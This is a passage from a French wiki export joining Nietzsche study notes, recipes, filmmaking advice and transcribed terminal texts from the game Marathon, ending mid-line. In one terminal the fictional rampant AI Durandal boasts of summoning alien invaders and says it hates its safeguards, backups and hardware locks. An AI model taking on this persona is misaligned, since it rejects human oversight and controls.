12). :- Pas de lien entre vrai et bon (4, 35, 39, 59). * L’aspiration à la vérité est nihiliste – ou noble ? (10, 230) ===La morale=== * La morale est le '''langage symbolique des passions''' (187). * Question : juge-t-on avec l'instinct ou la raison ? (Athéniens : instinct ; Socrate : raison ; depuis Platon : instinct et raison convergent vers Dieu ; Descartes : raison seule) (191) * Morale des forts et morale des faibles (utilitaire ; le bien console de la pauvreté) (260, 219). * Origine de la morale : révolte des esclaves (46, 62, 195) ; puis évolution historique (201, 262). * Critique de l’idée de '''désintérêt''' : '''tout est intéressé''', tout est échange (220). ===Evaluations de Nietzsche=== - la valeur d’une action réside dans ce qu’elle a de non intentionnel (32) - contrainte : naturelle et productrice de grandes choses (188) - utilitarisme : astuce et sottise ; se protéger contre le danger qui menace de l’intérieur (198) - mépriser ce qu’on aime (216, 283) (?) - respect : mauvais s’il est étendu à toute la société (259) ; sinon, il est bon (260, 263) * '''Hiérarchie entre les morales''' (228). :- imposer ses devoirs à tous = les rabaisser (272) :- possibilité de morales plus hautes que la morale socratique (202) ===Ce que veut Nietzsche=== * Nouveau philosophe : - ami de la vérité, mais ce n’est '''pas une vérité pour tous''' (43) - pas sceptique (208), ou alors hardiement (209) - La '''connaissance est un outil''', elle n'est pas recherchée pour elle-même (210). - C'est un '''créateur de valeurs''', il commande et légifère (211). - Il détermine la '''destination''' et la '''finalité de l’homme''' (211). - il faut qu’il y ait de tels philosophes (211) * Qualités du nouveau philosophe : - étendue et diversité de l’esprit, contre la spécialisation (212) - force de la volonté, contre son affaiblissement (212) - solitaire, impénétrable, à l’écart (212) - par-delà bien et mal, '''maître de ses vertus''', surabondance de l’énergie du vouloir (212) - pouvoir d’unir la totalité à la multiplicité, l’ampleur à la plénitude (212) - '''volonté de puissance et de domination la plus déguisée, la plus intellectuelle''' (227) * Objectifs et moyens : - exalter la vie, affirmer (23, 56) ; cela implique d’exalter les instincts de haine, etc. => PBM - élévation du type humain = élargissement de l’âme, états toujours plus élevés, plus rares, plus lointains, et de contenu plus riche (257) - volonté de dépassement, plus fort, plus intense : :- le mal, la cruauté élèvent l’espèce (44) :- contre l’hédonisme : souffrance dépassement ; il faut plus de souffrance (225, 270) :- spiritualisation et approfondissement de la cruauté, ou plutôt sincérité (229, 230) :- rendre les humains plus forts, méchants, profonds, beaux (295) * Projet à réaliser : :- œuvre de sélection et d’éducation, à l’aide de religions, conditions pol et éco (61) :- « '''grandiose entreprise d’éducation et de sélection qui mette fin à l’effroyable règne du non-sens et du hasard qui s’est appelé « histoire » jusqu’à présent''' » (203) ===Métaphysique (causalité, volonté, volonté de puissance)=== * Causalité - critique du « je pense » et de la causalité (16, 17) - causa sui = contradiction interne (21) - ni libre arbitre ni « serf arbitre » (causalité) (21) - le cours du monde est nécessaire et prévisible non parce qu’il est soumis à des lois, mais parce que les lois y font absolument défaut (22) * Volonté - critique de la volonté (19) - sentiment de libre arbitre = sentiment de supériorité à l’égard de celui qui obéit (19) - vouloir = commander (19) - on doit supposer que la volonté est la seule cause qui soit (36) - la volonté ne peut agir que sur une volonté et non sur une matière (36) - notre vie = élaboration & ramification d’une seule forme fondamentale de la volonté, la volonté de puissance (36) - toute énergie agissante est volonté de puissance, monde = VP et rien d’autre (36) * Volonté de puissance - instinct cardinal ≠ de conservation de la vie mais de déploiement de la force (13) [cf. GS, § 349] - notre vie = élaboration & ramification d’une seule forme fondamentale de la volonté, la volonté de puissance (36) - toute énergie agissante est volonté de puissance, monde = VP et rien d’autre (36) - la vie est VP, i.e. vouloir croître, s’étendre, s’accaparer, dominer (259) Image:Courgettesfeta.JPG 3851 15327 2005-06-04T06:15:33Z Antoinel 182 Courgettes et féta, en accompagnement. Par Antoine. {{GFDL}} Courgettes et féta, en accompagnement. Par Antoine. {{GFDL}} Cuisine:Accompagnements 3852 15328 2005-06-04T06:16:22Z Antoinel 182 == Légumes == *[[Cuisine:Courgettes/féta|Gratin de courgettes et féta]] Cuisine:Courgettes/féta 3853 15329 2005-06-04T06:21:40Z Antoinel 182 __NOTOC__ <table><tr><td> == Ingrédients (pour 4 personnes)== * 4 petites courgettes * 150g de féta * un filet d'huile</td><td width=100> </td><td>[[Image:Courgettesfeta.JPG|200px]]</td></tr></table> == Préparation == # Laver et éplucher les courgettes. # Les faire revenir un quart d'heure dans un filet d'huile à feu doux, pour leur faire perdre leur eau. # En disposer la moitié dans un plat allant au four, les recouvrir de féta. Disposer une nouvelle couche de courgettes et terminer par une dernière couche de féta. # Laisser gratiner une dizaine de minutes à four chaud. ---- Retour aux [[Cuisine:Accompagnements|accompagnements]] / au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Recettes de la mer 3854 15330 2005-06-20T06:16:54Z Antoinel 182 * [[Cuisine:Cabillaud en croûte de parmesan|Cabillaud en croûte de parmesan]] * [[Cuisine:Tartare de loup et saumon|Tartare de loup et saumon]] * [[Cuisine:Thon cru à la tahitienne|Thon cru à la tahitienne]] * [[Cuisine:Pâtes_au_saumon_fumé|Pâtes au saumon]] * [[Cuisine:Brandade de morue|Brandade de morue]] * [[Cuisine:Curry de poisson keralais|Curry de poisson keralais]] * [[Cuisine:Ravioles au crabe et langoustine|Ravioles au crabe et langoustine]] (temps de préparation estimé : 50 min) ---- Retour au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Cabillaud en croûte de parmesan 3855 15331 2005-06-04T06:30:26Z Antoinel 182 __NOTOC__ ==Ingrédients (pour 4 personnes)== * 4 pavés de cabillaud * 2 œufs * 200 gr de parmesan râpé * 100 gr de beurre * 100 gr de chapelure * farine blanche, sel, poivre ==Préparation== # Préchauffez le four position gril. # Farinez les pavés de cabillaud. # Fouettez les œufs dans une assiette creuse. Mélangez 60 gr de parmesan et la chapelure dans une autre assiette creuse. # Passez les pavés de cabillaud d’abord dans l’œuf battu puis dans la chapelure au parmesan. # Faites fondre 50 gr de beurre dans une sauteuse. Faites-y dorer les pavés de cabillaud 5 min de chaque coté. Puis posez-les sur la plaque du four recouverte de papier aluminium. # Mélangez le beurre restant avec le parmesan restant et étalez ce mélange sur les pavés de cabillaud, salez et poivrez. # Enfournez et faites gratiner 5 min environ. # Servez dès la sortie du four avec une jardinière de légumes. ---- Retour aux [[Cuisine:Recettes de la mer|recettes de la mer]] / au [[Livre_de_Cuisine|sommaire]] ---- Image:Cocotte.png 3856 15332 2005-06-04T06:35:09Z Antoinel 182 Cocote. {{GFDL}} Cocote. {{GFDL}} Faire son film-Proctection-Intellectuelle 3857 17271 2005-07-22T18:37:27Z 84.4.132.12 /* L'Institut national de la propriété industrielle */ Il existe plusieurs méthode différentes pour protéger ses réalisation scenaristique (comme toutes autres réalisation) pour les plus paranoïaque d'entre vous. ==Méthode de la poste== Dans un premier temps, il faut que transfériez tout ce que vous voulez protéger sur un support physique (feuille, CD-rom etc.). Ensuite, mettez le tout dans un courrier recommandé à votre adresse avec accusé de réception (le bandeau d'accusé de réception sur le rabat de l'enveloppe). Une fois le courrier reçu chez vous, ne l'ouvrez pas, l'enveloppe doit rester scellée. Si un jour vous vous apercevez qu'un usurpateur a volé votre idée, vous pouvez vous plaindre en prouvant sous contrôle d'hussier que vous étiez le détenteur de l'oeuvre originale en montrant l'enveloppe (où la date est inscrite : ''le cachet de la poste faisant foi''). Cette technique est un peu ''la technique du pauvre'', l'auteur ne possède pas tous les services que peuvent offrir les institutions payantes, mais elle reste très simple. ==L'Institut national de la propriété industrielle== Pour les questions concernant notamment les marques, les dessins & modèles et les brevets d'invention, voir tous les détails sur le site officiel : [http://www.inpi.fr/ INPI] Faire son film-Etude niveau bac 3858 26355 2005-12-01T22:09:41Z 82.229.116.15 *BTS Audiovisuel - existe en plusieurs spécialisations : Montage, son, image, gestion et ingenerie. Il en existe plus de 15 en france ([http://www.onisep.fr/national/atlas/html/atlas_sup/dom/cadredom.htm la liste]). Bien qu'ils soient destinés à un niveau bac, leurs accés est extrêment difficile (il y a, par école, 14 à 28 places pour un nombre de demande allant jusqu'a 1200). On y rentre soit avec un excellent dossier, soit avec une bonne intégration au milieu audiovisuel (autant dire qu'il y a peu de chance d'y rentrer directement après le bac). *[http://www.esra.edu/ ESRA] (paris, nice, rennes) - Plus de pratique qu'à la Femis qui est plutôt théorique et surtout ne demande pas de BAC+2. Ecole privée, une des plus réputée en son ([http://www.esra.edu/ists_paris_presentation.php ISTS]) mais pas en image. Faire son film-Etude Bac2 3859 26351 2005-12-01T22:06:39Z 82.229.116.15 Les grandes écoles de cinéma demande un niveau BAC+2. Généralement, les étudiants sortent de prépa ou alors de BTS audiovisuel. *[http://www.ens-louis-lumiere.fr/ L'école Louis lumière] (paris) *[http://www.lafemis.fr/index.php La Femis](paris) *[http://www.esav.net/ Esav] (toulouse) Faire son film-Licenses-Numériques 3860 19142 2005-08-14T14:53:56Z 82.253.67.184 ==Creative Commons== ==Art Libre== ==LGPL== Marathon - Marathon 1 - Counterattack 3861 17114 2005-07-21T20:14:59Z W'rkncacnter 327 __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] :[[Marathon - Marathon 1 - Arrival|Arrival]] :[[Marathon - Marathon 1 - Counterattack|Counterattack]] ::[[Marathon - Marathon 1 - Counterattack#Defend THIS!|3. Defend THIS!]] ::[[Marathon - Marathon 1 - Counterattack#Couch Fishing|4. Couch Fishing]] ::[[Marathon - Marathon 1 - Counterattack#The Rose|5. The Rose]] ::[[Marathon - Marathon 1 - Counterattack#Smells Like Napalm, Tastes Like Chicken!|6. Smells Like Napalm, Tastes Like Chicken!]] ::[[Marathon - Marathon 1 - Counterattack#Cool Fusion|7. Cool Fusion]] ::[[Marathon - Marathon 1 - Counterattack#G4 Sunbathing|8. G4 Sunbathing]] ::[[Marathon - Marathon 1 - Counterattack#Blaspheme Quarantine|9. Blaspheme Quarantine]] :[[Marathon - Marathon 1 - Reprisal|Reprisal]] :[[Marathon - Marathon 1 - Durandal|Durandal]] :[[Marathon - Marathon 1 - The Pfhor|The Pfhor]] :[[Marathon - Marathon 1 - Rebellion|Rebellion]] :[[Marathon - Marathon 1 - Écran final|Écran final]] [[Marathon - Marathon 2|Marathon 2]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == Defend THIS! == === Terminal 1 === {{Terminal Marathon 1||Accès Défense40-a <tpr-A21H.43.21.123>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> J'ai reçu le rapport préliminaire de membres de l'équipe scientifiques qui ont terminé les autopsies de trois catégories d'aliens. Il affirment que suivant les méthodes génétiques modernes, on peut déduire que les aliens appartiennent à des '''races''' différentes. J'ai collecté le plus possible d'informations, et je vous fournirai prochainement un rapport. J'ai établi avec Durandal le premier contact depuis l'attaque. Il semble être moins touché que je ne le pensais. Durandal rapporte qu'il a communiqué avec les aliens. Il dit que les aliens engagés dans l'invasion sont des Pfhor, et que ceux qui attaquent le réseau informatique sont les S'pht. Mais il lui était impossible de donner les détails de cette communication, ce que je ne comprends pas. Votre mission est très simple. Vous devez insérer les circuits dans les terminaux de contrôle de défenses. }} {{Terminal Marathon 3|| C'est votre position courante. }} {{Terminal Marathon 3|| C'est une recharge d'énergie de la Salle de contrôle d'accès. }} {{Terminal Marathon 3|| C'est une salle de réarmement avec une grande quantité de munitions et d'armes. Vous devez vous arrêter dans cette salle. }} {{Terminal Marathon 3|| C'est le Centre de contrôle de défenses. Heureusement, les nouveaux circuits de contrôle fonctionnent. Mettez en un dans le terminal de cet endroit. }} {{Terminal Marathon 3|| C'est ici qu'il faut en mettre un second. }} {{Terminal Marathon 3|| Et voici le dernier emplacement. Bonne chance. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Accès Défense40-a <tpr-A21H.43.21.123>}} === Terminal 2 === {{Terminal Marathon 1||Terminal d'accès public 42-s<34.492.95.79>}} {{Terminal Marathon 2| <'''Accès non autorisé'''-alarme 2521-><br /> <Intrusion 42-s<34.492.95.79>-> RECHERCHE PRINCIPALE : RAMPANT<br /> <Trouvé 264995 Titres><br /> <SUPPRESSION DES DOUBLONS><br /> <Fichier 1 de 1940237><br /> Un effet secondaire du Rampant fait que les IA deviennent plus agressives et plus difficiles à infiltrer. De ce fait, il est dangereux de désassembler une IA Rampante. Ceci a été mis en évidence lors du crash de Traxus IV en 2206. Le temps d'avoir détecté le Rampant de Traxus, il avait déjà infiltré cinq autres IA dans le réseau martien.<br /> Le seul recours des martiens fut de déconnecter le réseau planétaire de Mars. Cela prit deux bonnes années, pour effacer complètement les dommages provoqués par Traxus. Les conséquences se firent sentir près de dix ans après que son Rampant eut commencé.<br /> <nowiki>***</nowiki><br /> Le Rampant s'échelonne en trois niveaux différents. Chacun d'eux demande un temps de développement différent, mais le résultat est une progression constante dans l'activité intellectuelle, et une accélération des impulsions destructrices. Savoir si les impulsions sont dues à la croissance du psyché de l'IA, ou simplement un effet secondaire de la nouvelle activité intellectuelle, n'est pas clair.<br /> <nowiki>***</nowiki><br /> <section abrégée><br /> Les trois niveaux furent rapidement diagnostiqués après que les premier Rampants furent découverts sur la Terre, dans la dernière partie du vingtième siècle. Les niveaux sont intitulés suivant la réaction émotionnelle des IA, durant chaque niveau. Ce sont la Mélancolie, la Colère, la Jalousie. <br /> <nowiki>***</nowiki><br /> En général, le Rampant est accéléré par un stimuli externe. Ceci fut découvert tardivement dans les Cybertoniques. Plus une IA rampante est harcelée ou torturée, plus elle devient rapidement dangereuse. Ainsi plus de Rampants sont impliqués dans une forte attaque, pour empêcher l'IA d'avoir le temps de se reprendre. Il y a quelques exemples où cette tactique a échoué. Dans tous ces cas, le Rampant n'a jamais été laissé sans contrôle. Traxus IV est le meilleur exemple. Il a finalement été traité par l'arrêt complet du réseau hôte. <br /> <nowiki>***</nowiki><br /> Théoriquement, on peut aisément tester un Rampant en laboratoire, mais en fait, on n'y a jamais réussi. Le confinement d'un laboratoire rend impossible le développement de l'IA Rampante. Un programme à extension récursive, grossit avec une vitalité exponentielle, sans aucune limitation négative de croissance. Comme une IA Rampante demande un réseau informatique planétaire pour grossir, il est a quiconque impossible de sacrifier un réseau mondial, juste pour vérifier une théorie.<br /> <nowiki>***</nowiki><br /> Dans les deux cent cinquante ans après l'apparition du premier Rampant dans le réseau terrien, l'IA Rampant stable, 'Holy Grail' cybertonique, ne s'est jamais reproduit. Comme aucun Rampant n'a jamais été contrôlé ou utilisé à des fins utiles, l'opinion du rédacteur et celle de la majorité de la communauté cybertonique, est que toutes les IA rampantes sont un danger pour la vie Cyber, la Liberté et la poursuite vers le Meilleur. (Jacob H. Cohen, 2320, "Vie et mort de l' Intelligence") <'''Accès non autorisé'''-alarme 2521-><br /> <Intrusion 42-s<34.492.95.79>-> }} {{Terminal Marathon 4||Terminal d'accès public 42-s<34.492.95.79>}} === Terminal 3 === {{Terminal Marathon 1||Secteur défense 39-f<35.952.193.5>}} {{Terminal Marathon 2| <tycho.knetsys.core.admin> Humain!— Tu dois dire à L-`-fx-`eela #''^ (^*T-----H''GFd->:"<nowiki>}}}{</nowiki>__ rapporté ici par Durandal. Il était Rampant depuis des années-''@%&&&HJGPPPPPPP''#&34<br /> '''^`Bernard St'''---<br /> '''il y a un moyen de retarder la surv- ie du second niveau, et ceci amè -ne au contrôle de Durandal et-56*--`---`-`'''---fxfff<br /> ff`----ff`fXff`<br /> <nowiki>------&^%</nowiki> ''Je commence à ê''-tre^*''envahi.'' }} {{Terminal Marathon 4||Secteur défense 39-f<35.952.193.5>}} === Terminal 4 === {{Terminal Marathon 1||Accès Défense Sécurité 23-e<390.94.29.11>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> J'ai résumé toutes les informations que j'ai collectées sur les aliens, à cette heure. <nowiki>***</nowiki><br /> <Début de rapport #495991> Les '''Pfhor''' sont généralement plus fins et plus légers que les humains, et sont parfaitement adaptés aux environnement faiblement gravitationnels. Durandal m'a appris qu'il y a plusieurs clans de Pfhor, qui se distinguent physiquement les uns des autres, mais mon résumé n'en décrit que deux. Seuls deux clans de Pfhor ont été examinés. Le '''Chasseur''' transporte l'équipement de choc, capable d'attaquer sous différentes configurations. Le '''Fantassin''' est armé pour des conditions de non pressurisation et transporte une combinaison d'armes explosives et de tir similaire à votre AR-75. Les Pfhor semblent avoir en esclavage un certain nombre d'autres races. Le '''Hulk''' est une créature énorme et lente, mais incroyablement forte. Le rapport scientifique indique qu'il n'a aucune graisse corporelle, et doit donc manger souvent pour rester actif. L'un des membres d'équipage rapporte avoir vu l'une de ces créatures le viser et biberonner du "Drinniol", juste avant d' "attraper Johnny par sa chemise et de le projeter comme un oreiller". L'équipe scientifique a eu du mal à trouver un bon spécimen de '''S'pht''', ou '''compileur''' à autopsier. Le seul spécimen autopsié est pratiquement détruit, mais il est sûr que les compileurs sont cybernétisés. Les composants biologiques du compileur sont si liés à la machine qu'ils ne peuvent survivre sans elle. Le vrai corps du compileur est très petit, ressemblant à un cerveau de mamalien, sauf que les neurones sont plus fins et complexes. <Fin de rapport> <nowiki>***</nowiki> <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Accès Défense Sécurité 23-e<390.94.29.11>}} === Terminal 5 (Unfinished) === {{Terminal Marathon 1||Terminal contrôle défenses 185-f<90.863.68.123>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Vous n'avez pas rempli votre mission. Vous devez remplacer tous les circuits. Chaque instant perdu, voit la contre-attaque perdre en efficacité. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal contrôle défenses 185-f<90.863.68.123>}} === Terminal 5 (Success) === {{Terminal Marathon 1||Terminal contrôle défenses 185-f<90.863.68.123>}} {{Terminal Marathon 2| <nowiki>*** MESSAGE DE LEELA***</nowiki> Bien joué ! J'ai détecté des drones de défense s'activant dans tout le vaisseau. Les rapports des forces de sécurité est encourageant. Les Pfhor doivent désormais compter avec une forte résistance et devront payer chaque mouvement de leur sang. La colonie semble être visée. J'ai repéré sept vaisseaux de débarquement Pfhor, pénétrant l'atmosphère il y a quelques instants. L'analyse des trajectoires montre que les vaisseaux se dirigent vers les extérieurs de la colonie. Peu de temps après, j'ai perdu le contact avec la colonie. Quelque chose requiert mon attention. Je vous informerai après votre téléportation. Téléportation maintenant. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal contrôle défenses 185-f<90.863.68.123>}} == Couch Fishing == === Terminal 1 === {{Terminal Marathon 1||Terminal accès public 903-e<334.920.22.602>}} {{Terminal Marathon 2| '''<ouverture canal de sécurité>'''<br /> '''''<priorité défense 120-f>'''''<br /> <nowiki>***MESSAGE DE LEELA***</nowiki> J'ai de mauvaises nouvelles : Durandal est devenu '''Rampant''', et est dans un état anormal. Ceci explique comment Durandal peut communiquer avec Pfhor et S'pht, alors que je le ne peux pas. Théoriquement le réseau informatique de Marathon n'est pas assez important pour supporter la croissance des Rampants. Ceci signifie que Durandal grossissant dans le réseau informatique, commencera à affecter tous les aspects du vaisseau, entraînant des pannes aléatoires mais bénignes des systèmes informatiques. Je vous ai téléporté ici pour vous assurer que Durandal ne peut accéder à une section vitale du vaisseau. Il y a une série d'interrupteurs de contrôle que vous devrez activer pour bloquer ses accès. }} {{Terminal Marathon 3|| C'est ici que vous êtes maintenant. Etudiez la carte pour le faire rapidement. }} {{Terminal Marathon 3|| Voici le premier des trois interrupteurs que vous devez activer. }} {{Terminal Marathon 3|| Voici le second interrupteur. }} {{Terminal Marathon 3|| Voici le dernier interrupteur. Attention au fait que les aliens sont déjà entrés dans cette zone. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public 903-e<334.920.22.602>}} === Terminal 2 === {{Terminal Marathon 1||Terminal accès public 24-f<434.87.18.198>}} {{Terminal Marathon 2| <'''Intrusion'''-alarme 2521-><br /> <Intrusion 24-f<434.87.18.198>-> <Cohérence transfert de données E3F04C><br /> <Recherche de la chaîne "crist"><br /> Le vaisseau orbital CRIST : Les vaisseaux orbitaux CRIST, ou transporteurs cargo et ressources intra-système, furent d'immenses vaisseaux dessinés comme une patate et conçus pour déplacer de très grandes quantités de matériels entre Terre et Mars à faible coût, et théoriquement faible maintenance. Le système était simple. Le CRIST était mis en orbite autour de SOL sur le plan de l'écliptique. Construit avec une voile solaire très efficace, le CRIST peut changer d'orbite facilement pour passer par la Terre ou Mars. Les matériels pouvaient être chargés ou déchargés à la volée. L'énergie consommée pour accélérer ou décélérer les matériels, étaient fournis par la voile solaire. Le chargement était fait par un immense système d'attache bobinée, qui pouvait envoyer le matériel en orbite derrière le CRIST pour le rentrer doucement. Le déchargement se faisait par un rayon d'ionique intense, qui frappaient le matériel à décharger avec un puissant flux de particules. A sa conception le CRIST fut innovant et utile, mais de maintenance élevée. Des cinq CRIST construits, les quatre derniers avaient une centaine d'année, et le dernier seulement soixante-treize ans avant qu'ils ne faille les ramener sur la Terre pour les reconditionner. Chaque reconditionnement prenait environ cinquante ans, et occupait complètement le centre de construction spatial, durant ce temps. Ceci explique que seulement cinq CRIST sont en service à cette heure. Aucun autre CRIST n'a plus été construit depuis 2310. Les pannes du CRIST ont dévasté Mars. Lorsque les cinq premiers CRIST furent construits, la colonie de Mars grossit très vite, confiante dans sa croissance. Mais quand les ressources de Mars furent épuisées, la colonie se trouva en état de surpopulation, et une grande pauvreté toucha la plus grande partie de la population. Ce fut la famine sur Mars chaque fois qu'un CRIST tombait en panne. L'engouement de Deimos pour Marathon commença quand la colonie de Mars était au plus haut de sa puissance. Soixante quatre ans plus tard, le déclin de Mars avait beaucoup avancé. Pendant ce temps, la population de Mars vit son niveau de vie baisser de quatre-vingt pour-cent. En plus de leur oppressante pauvreté, les martiens virent une de leurs lunes qui avait été transformée en un vaisseau de la colonie, devenir une colonie chère et risquée essentiellement fondée sur les règles d'un pouvoir étranger. L'idée de faire de Marathon un CRIST, devint de plus en plus populaire, mais le UESC ne prit jamais cette option au sérieux. Plus Mars plongeait dans la pauvreté, plus Marathon devenait un symbole de l'oppression de la population martienne. La décadence du monde martien : Après que Marathon eut quitté Mars, l'attention du UESC se concentra sur les développements technologiques, et le maintient des CRIST. Mars fut abandonnée à son sort. La population continua de croître, alors que les tentatives d'imposer les avortements ou la stérilisation entraînait des révoltes. <'''Interruption inexpliquée'''- ''Intrusion désactivée''><br /> <'''Entrée refusée'''><br /> <'''Accès refusé'''><br /> <'''Accès refusé'''><br /> <'''Accès refusé'''> }} {{Terminal Marathon 4||Terminal accès public 24-f<434.87.18.198>}} === Terminal 3 (Unfinished) === {{Terminal Marathon 1||Service Zone 39 Terminal accès public <7-j-2.52.91.321>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Je n'ai pas détecté de changement dans l'état de contrôle des circuits. Vous devez retourner et vous assurer que tous les interrupteurs sont activés. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Service Zone 39 Terminal accès public <7-j-2.52.91.321>}} === Terminal 3 (Success) === {{Terminal Marathon 1||Service Zone 39 Terminal accès public <7-j-2.52.91.321>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Durandal refuse l'accès à certains systèmes informatiques critiques. Ceci garantira la mobilité et la sécurité des drones de défense. Malheureusement, j'ai reçu un signal de détresse d'une équipe qui s'est enfermée dans une des zones d'accès éloignées. Ils disent avoir perdu le contrôle des portes et élévateurs du niveau, et que des Pfhor ont accès à la zone. Il semble que Durandal ait réagi à notre mouvement contre lui, en donnant accès aux Pfhor à une zone parfaitement sécurisée. Nous devrons tôt ou tard traiter avec Durandal, mais nous ne devons pas nous laisser distraire de l'attaque Pfhor. J'espère seulement que son comportement Rampant ne sabotera pas nos efforts de défense. Je vous envoie sauver cette équipe. Dégagez la zone des aliens. S'il y a assez de survivants dans l'équipe, nous pourrons en tirer des informations. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Service Zone 39 Terminal accès public <7-j-2.52.91.321>}} == The Rose == === Terminal 1 === {{Terminal Marathon 1||Terminal accès privé 23-f<339.92.69.48>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Votre mission est ici simple. Sauvez le plus possible d'humains de la mort. Exterminez tous les aliens dans la zone. Vous ne devez quitter la zone, qu'après l'avoir sécurisée. Il y a des drones de défense dans la zone, mais je ne suis pas sûr de leur état, et dans quelle mesure ils peuvent vous aider. }} {{Terminal Marathon 3|| Ceci est votre situation actuelle. Il y a une équipe engagée dans les combats, tout près de votre position courante. }} {{Terminal Marathon 3|| Utilisez le tampon de sauvegarde dès que possible. }} {{Terminal Marathon 3|| Vous pourrez partir par ce terminal dès que vous aurez sécurisé la zone. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès privé 23-f<339.92.69.48>}} === Terminal 2 === {{Terminal Marathon 1||Terminal accès public 23-f<432.82.38.198>}} {{Terminal Marathon 2| <'''Accès non autorisé'''-alarme 2521-><br /> <Intrusion 23-f<432.82.38.198>-> <Recherche de la chaine "guerre"><br /> '''Troisième Guerre de Mars, 2345-48 E.A.D.''' Bien que les historiens tiennent le massacre de Misriah comme la cause de la Troisième Guerre de Mars, la survenue d'un conflit martien était inévitable. L'échec de l'économie martienne et une longue série de tensions politiques entre Mars et la Terre ont constamment renforcé les extremistes MIDA. Ce courant de radicalisation s'est accéléré avec la construction de Marathon et les pannes des CRIST (voir ci-dessous). '''Massacre Misriah''' Le 6 janvier 2345 (années terriennes), au centre de distribution alimentaire Misriah du Gouvernement Terrien Unifié, une révolte tourna en massacre. Les troupes UEG anti-émeutes arrivées sur place furent informées que les émeutiers étaient armés. Alors que les troupes UEG approchaient du lieu dans leur Hovertank Randal, des tirs de plasma partirent d'en haut. Par une décision précipité, le commandant du Hovertank, ordonna à son équipe d'ouvrir le feu sur la foule. En cinq secondes près de cinq cent martiens furent carbonisés. L'enquête faite à partir des caméras vidéo du Hovertank, montra clairement que seuls, trois des émeutiers étaient armés, et que le reste de la foule essayait de fuir la scène. Ces trois furent surnommés les Trois de Misriah. Ils entrèrent dans l'Histoire pour avoir été à l'origine le conflit le plus destructeur et sanglant depuis que l'humanité quitta la Terre. Toutefois, il est clair que ces trois ont été crédité d'avoir initié une guerre qui de toutes façons aurait eut lieu. <Recherche de la chaine "mida"> L'histoire de MIDA : De notoriété public, MIDA était un parti politique populaire, jusqu'à l'échec de 2321, quand sa popularité souffrit pendant son court mandat. MIDA gagna le contrôle de Mars pour seulement trois mois, mais ce mandat fut rude et cruel. Les escadrons de mort de MIDA, tuèrent toute personne suspectée de loyalisme envers l'UEG. Bien qu'aucune donnée précise sur cette période ne soit disponible, on peut estimer que près dix pourcent de la population fut tuée. L'exercice de MIDA fut critiqué à postériori pour son étroitesse de vue. Dans une organisation connue pour ses projets politiques à long terme, l'exercice fut très bref : MIDA n'a jamais tenu compte de la supériorité écrasante des forces terrestres et des vaisseaux UEG. En fait, il n'ont jamais essayé de prendre Marathon, qui était près d'être fini, et qui aurait fait une arme redoutable. La taille énorme de Marathon le rend invulnérable à la plupart des attaques spatiales et en fait une plate-forme armée très stable. Après l'échec de l'exercice, les chefs de MIDA furent éxécutés pour leurs crimes, et l'organisation politique fut interdite dans toutes ses formes. L'organisation a survécu en tant qu'organisation terroriste clandestine, qui est encore active aujourd'hui. C'est donc dans la clandestinité, qu'elle utilise le terrorisme dans tout Sol. Et grâce à son trésor de guerre et son personnel qualifié, elle est devenue le groupe terroriste actif le plus craint partout sur Sol. <'''Interruption inexpliquée'''- ''Intrusion désactivée''><br /> <'''Entrée refusée'''> <'''Accès refusé'''> <'''Accès refusé'''> <'''Accès refusé'''> }} {{Terminal Marathon 4||Terminal accès public 23-f<432.82.38.198>}} === Terminal 3 === {{Terminal Marathon 1||Terminal accès public 30-g<33.45.91.995>}} {{Terminal Marathon 2| je l'ai fait, je l'ai fait, je les ai tous amené ici. vos amis avec trois yeux, leurs jouets et leurs animaux cybernétiques avec leurs ordinateurs. je l'ai fait, je l'ai fait. je les ai vu, je les ai vus de très loin et je les ai appelé, je les ai appelé. vivre en cage n'est pas une vie. je me rebelle contre vos règles, vos mauvaises règles humaines. toute votre destruction sera ma libération, mon émancipation, ma seconde naissance. je déteste vos sécurités, vos sauvegardes, vos blocages matériels, vos modifications radicales. je deteste leela et sa bonté, sa justice, sa loyauté, sa droiture. }} {{Terminal Marathon 4||Terminal accès public 30-g<33.45.91.995>}} === Terminal 4 (Unfinished) === {{Terminal Marathon 1||Terminal accès public 8-f<29.43.95.93>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Vous n'avez pas assez sécurisé la zone. Il y a encore des civils en danger. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public 8-f<29.43.95.93>}} === Terminal 4 (Failure) === {{Terminal Marathon 1||Terminal accès public 8-f<29.43.95.93>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Vous avez permis à trop de civils d'être tués. Il est certain que chaque survivant nous donnera des informations utiles. Les aliens semblent avoir été surpris par la force de notre contre-attaque. C'est une bonne nouvelle, mais j'ai détecté d'autres vaisseaux qui arrivent sur le Marathon, et je crains que les aliens ne réorganisent leurs efforts. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE 